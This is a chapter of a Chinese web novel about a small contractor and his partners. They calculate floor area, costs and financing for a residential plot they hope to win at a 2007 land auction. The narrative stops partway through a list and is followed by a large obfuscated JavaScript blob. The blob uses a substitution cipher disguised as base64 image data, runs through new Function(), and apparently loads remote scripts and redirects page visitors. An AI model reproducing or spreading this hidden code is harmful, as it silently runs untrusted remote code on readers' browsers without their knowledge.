第031章 荒草之地(1 / 2)

海蓝之夜 伟德山 3923 字 2022-04-21

8月31日,日本大阪世锦赛传来好消息,中国飞人刘翔在第九道成就大满贯第一人。

也在这一天,许美琪那里也传来好消息,刘伟求婚成功。

他们约定9月9日领证结婚,为什么选择这一天,天长地久嘛!

九月的海蓝,雨水知趣地躲了起来,火辣辣的太阳挂在天上,极不情愿地向西挪动着圆滚滚的身子。天空瓦蓝瓦蓝,云彩被风轻揉着,撕扯着,低调地在蓝色的布面上变幻着自己的姿态。

9月3日,星期一,刘裕后刚上班,林若兮就打来电话,自己梦寐以求的那块荒地挂牌了!

他迅速打开市地产交易中心的网站,最新挂牌信息中分明写着那个地块。他点开那则信息,呈现出白色的表格,他激动地点击了一下全屏按钮,认真地读到:

土地基本信息

地块总面积:3600平方米

建设用地面积:3600平方米

最大容积率:3

最大建筑密度:33%

最大高度:40米

规划用途:住宅用地

土地性质:国有土地

出让年限:70年

位置:南区原浩瀚裙带加工厂地块,大连路以东,上海路以西。

起始竞拍价:470W元

加价幅度:10W元的整数倍

挂牌时间:2007年9月18日至2007年9月27日

真是皇天不负有心人,果然是住宅!太好了!刘裕后右拳狠狠地捶了一下桌子。

“林总,你来了吗?哦,路上,到了马上来我办公室一趟,对了,叫上张总。”挂断电话后,他起身沏了三杯茶。

十来分钟后,林张二人进屋,落座。

“喝茶,刚泡上的,现在应该正好。”

“刘总有事要宣布?”林若然接了话。

“不错!裙带厂的那块地挂牌了,你们听着,我把相关信息念一遍。”刘裕后仔细念完,生怕漏掉一个字。

“怎么就3600平方米,现场看还可以啊!数据对吗?”林若然喝了口茶说道。

“3600平,一亩地667平,就是……五亩……五亩四分地,不到五亩半地,放在农村,家里有五亩多地也不少啊!我们海蓝地处丘陵山区,在乡下有这五亩多地,算得上大户了,只要风调雨顺,一年产的粮食可是能吃两三年的!”张德仁说道。

“行啊,张总,账头子不错啊!而且还是个农村老把式啊!厉害!厉害!五亩半地,那也盖不了多少楼啊!”林若然又说道。

“林总,能盖多少楼要看容积率,刘总不是说了嘛,容积率是3,就是说最多能建……3600乘3……也就是10800平米的房子,按照100平一套,能建108套房子,如果是经济户型80平每套,那也能盖……135套啊!”张德仁继续发挥着特长。

“108套……按照5000元每平米,每套100平,一套50万,那就是……5400万啊!这个我会算!这去掉一半的费用,那也是两千多万啊!乖乖,这房地产开发果然是暴利行业!干了这么多年,我这会儿才真正领教了!”林若然感叹地说着话,一脸的兴奋。

看着两位合作伙伴计算着,议论着,刘裕后也兴奋地笑着,更加坚定了买地的决心!

“张总给我们继续说说如何建设吧,我们好有个大概的框架。”刘裕后提议道,好像这块地已经是裕达自己的了。

“……好,那我就大概说说,准确数字那是要到设计院才能知道的,我只说整数。”张德仁喝了口茶。

“我先说如何建设,它的建筑密度不高于33%,而地块是3600平米,就是说如果建一栋楼,一层的建面就是……3600乘33%……就是1200平米,用总面积10800除1200,能盖……9层楼,而1200平米按照100平一户就是12户,六个单元,就是说能建一栋六单元九层楼的房子,明白了吗?我说的是如果建设一栋。”

“哦,明白,我是明白了,刘总,你怎么样?”

“明白,继续,继续。”

“好的。如果继续分拆的话,也可以建三单元九层两栋楼,或者两单元九层三栋楼,或者是一单元九层六栋楼。

当然了,如果规划允许,考虑绿化率啊,楼间距啊等因素,还可以继续高一点,可以建成三单元十八层一栋,或者两单元二十七层一栋,或者一单元五十四层一栋,当然我说的都是建面100平的,而且没有高度限制。

考虑到高度的话,40米的限高要求,按不到3米的层高计算,最高也就能建十三层吧,那就可以把两单元二十七层一栋那个方案改一下,拦腰截断,变成两栋分别是两单元十三层的住宅楼就可以了。

两栋楼,双数,好事成双,图个吉利,刘总可以考虑这个方案。”

“嗯,两单元十三层的两栋楼,每层楼两套边户两套中间户,我觉得有点意思,刘总。”林若然附和道。

“嗯,嗯,房屋面积方面当然也可以进行调整以适应市场需求,例如80与120组合,或者90与110组合,可是不管怎么调整,地上总建筑面积不能超过10800平米!

而且刚才我也说了,多层是不可能了,要么是小高层,要么是高层,只要图纸出来后规划局审批通过了,那就可以了,当然户型如何选择,怎么能够大卖,这些就是刘总需要考虑的问题了。”张德仁又喝了一口水,看了看刘林二位,接着说。

“至于投资方面,无非包括两方面,地皮购买和建筑成本。地皮呢,按竞拍初始价格470万……500万计算吧。建筑成本呢,无论小高层还是高层,肯定要有地下一层,作为设备间、储藏室等,所以建筑面积将在10800平米基础上增加1200平米,就是12000平米,按照1500元的建筑成本,就是12000乘1500,大约就是1800万。

还有,立项阶段,办理用地阶段,拆迁阶段,勘察设计阶段,项目报验阶段,招标阶段,竣工验收阶段,销售阶段,企业自身的,等等等等,大概一百多项费用吧,按照建筑成本20%估算也得…………360万,按400万计算吧,汇总一下就是……500加1800加400等于2700吧,就是说3000万上下吧!”

“3000万!这也忒高了点儿吧,张总!裕达的家底全部加起来大概也就有六七成吧!”林若然看了一眼刘裕后,有些不相信自己的耳朵,犹如一盆冷水扣在头上!

刘裕后默不作声了,裕达的家底早在一个月前就亮给两位合伙人了,听了张德仁的一席话,他才真正意识到房地产开发可不是一般人能玩得转的,文韬集团能发展到如此规模,单文韬就不是一般人!

如果投资顺利,三千万最多一年就能变到五千万,太有诱惑力了!

“林总说说吧。”刘裕后说道。

“我没有什么好说的,地皮运作是刘总的事情,楼房建设是张总的事情,剩下的市政手续啊,楼房销售啊,验收啊,那自然是我的分内事。张总能把楼盖起来,我就能把楼给卖出去,本人就是这么能耐,哈哈……”

“林总可是一点儿不谦虚啊!看来也是看好这块地啊!”张德仁说道。

“那是当然,当乙方这么多年了,如果真能拿下这块地,我们三个也能扬眉吐气一把,按照海蓝当地话,咱也能展展扬扬地做把甲方啦!哈哈……”

“不过……要把这块地搞活了,可是需要大批资金的,能不能撬动了,还是需要刘总好好运作运作的。另外,全市的目光都向南看了,竞争地块也是要好好考虑的,这可比拿下一个安装合同难多了,虽然建筑这一行我们熟悉,可地皮买卖可不熟悉,里面夹生的部分太多。”一向谨慎的张德仁认真地说着,提醒着掌舵人,也冷却着面前两位合伙人躁动的心。

“张总说的是,希望那些大点的房地产公司看不上这块地,对它嗤之以鼻最好!”林若然说道。

“安排几件事情吧。”刘裕后喝了口茶,清了清嗓子,坐直了身子说道。

“林总那边事情多一点,几乎全是与钱有关的。

一,封锁我们置地的消息,圈子里的那些人都是人精,不允许他们知道我们的意图,还有刘伟,暂时要保密。

二,凯旋城还有一套别墅需要尽快脱手,原价八五折处理也行,快速变现。

三,佳名花园里的顶账房剩下的三四套尾楼也要处理掉,多层应该好卖,九折吧。

四,问问刘伟泰昌府邸的安装招标什么时候开始,你不是说过他计划全额抵顶房产吗,做做工作,争取最大比例的工程款配额,不要或者少要楼房,裙房上面是公寓,不好卖。

五,佳名花园一二三期年底就全线结束了,能要的款子提前向刘伟要,快速有效回笼资金。

六,身边银行口上的朋友你我都要联系着,那块地要是真的拿下来了,工程一旦上马,肯定需要贷款。

你这边就这些吧,至于正在谈判的工程,鹏辉地产的,耀扬地产的,进度都可放缓一些,不用天天跟进催促,如果真能把这块地拿到手,除了文韬地产外的其他地产商就要挑着干了,有的放矢嘛!”

说完他又喝了口茶,然后看向张德仁。

“张总那边的,就是与工程进度和工程建设有关了。

一,再有三个月佳名花园全线完工,你要把丛容给我盯紧了,越是到最后越要瞪起眼珠,不允许出差错,不行隔三差五你就过去转转,王俊,赵培军都熟,工程不到最后一刻,关系不能冷下来。

二,听林总说单文韬回国就是这几天,一会儿会议结束你就去一趟蓝色港湾,8号楼也好,其他楼号也好,顺路拉上丛容,拿着笔本好好转转,不能在这片别墅上出问题,特别是8号楼。

三,凯旋城……有你徒弟在,就让他按部就班结合甲方进度要求进行就行了。

四,胡海建那边有张作贵照应着,还算顺利,一人在外不容易,很辛苦,工资每月再加二百吧。会后我会跟财务打招呼的。

五,得空看看房地产开发相关的书,网上也有,那块地真能拿下来,你就是刘伟那个角色了,要比他明白得还要多!

……应该就这些了吧。

总之,目前是裕达的关键时期,兄弟一心其利断金,我们三个要拧成一股绳,走过去了就是另外一片天空。三个臭皮匠还胜过诸葛亮呢,何况是我们,对吧?!

……好了,就这些,你们还有什么事?说说。”刘裕后看向林张二人。

“没有了,没有了。”

“好,那今天就这样吧二位,忙吧。”

“哦!对了,我还有事,前些天在兰亭阁里听朋友说宝元的孙老仙儿病了,可能是被他宝贝儿子气着了,是不是应该安排个人去看看?”林若然说道。

“哦……这样吧,林总手头的事情多一些,张总代表公司明天去看一看吧,需要的红包你直接找财务就行,我会打招呼的。”

二人走后,刘裕后给林若兮去了电话让她办了三件事情。

一,给胡海建每月增加二百块钱工资。

二,给孙道义准备两千块钱红包和一个果篮。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();